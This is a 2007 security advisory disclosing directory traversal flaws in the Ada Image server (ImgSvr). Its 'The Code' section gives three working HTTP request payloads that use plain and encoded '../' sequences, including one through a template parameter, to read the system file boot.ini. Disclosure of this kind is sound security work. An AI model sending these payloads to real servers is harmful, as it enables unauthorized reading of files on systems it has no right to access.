adaimage-traverse.txt

`  
#######################################################################  
  
Luigi Auriemma  
  
Application: Ada Image server (ImgSvr)  
http://adaimgsvr.sourceforge.net  
Versions: <= 0.6.21 and SVN <= 28  
Platforms: Windows and *nix  
Bug: directory traversal  
Exploitation: remote  
Date: 24 Dec 2007  
Author: Luigi Auriemma  
e-mail: [email protected]  
web: aluigi.org  
  
  
#######################################################################  
  
  
1) Introduction  
2) Bug  
3) The Code  
4) Fix  
  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
>From developer's website:  
"ImgSvr is a personal or corporate Embedded Picture Web Server that  
let's you efficiently browse digital pictures. Contrary to other  
gallery systems, imgsvr aimed to be an easy and fully dynamic picture  
server, no static created thumbnails are created."  
  
  
#######################################################################  
  
======  
2) Bug  
======  
  
  
A directory traversal vulnerability can be exploited through the usage  
of additional chars before the URI.  
In my tests was good any byte except NULL, line feed, ?, :, slash and  
backslash (so an amount of valid chars between 248 and 251 depending by  
the location of the char and if has been used the hex format).  
  
A secondary type of directory traversal is exploitable through the  
template parameter.  
  
If the root directory of the server is protected by authentication, the  
attacker must know the right username and password.  
  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
  
GET hello../../../../../boot.ini HTTP/1.0  
  
GET anything_you_want../..%2f../%2e.%5c..%5cboot.ini HTTP/1.0  
  
http://SERVER:1235/?template=..\..\..\..\boot.ini  
  
  
#######################################################################  
  
======  
4) Fix  
======  
  
  
The problems will be fixed in the next version.  
  
  
#######################################################################  
  
  
---   
Luigi Auriemma  
http://aluigi.org  
`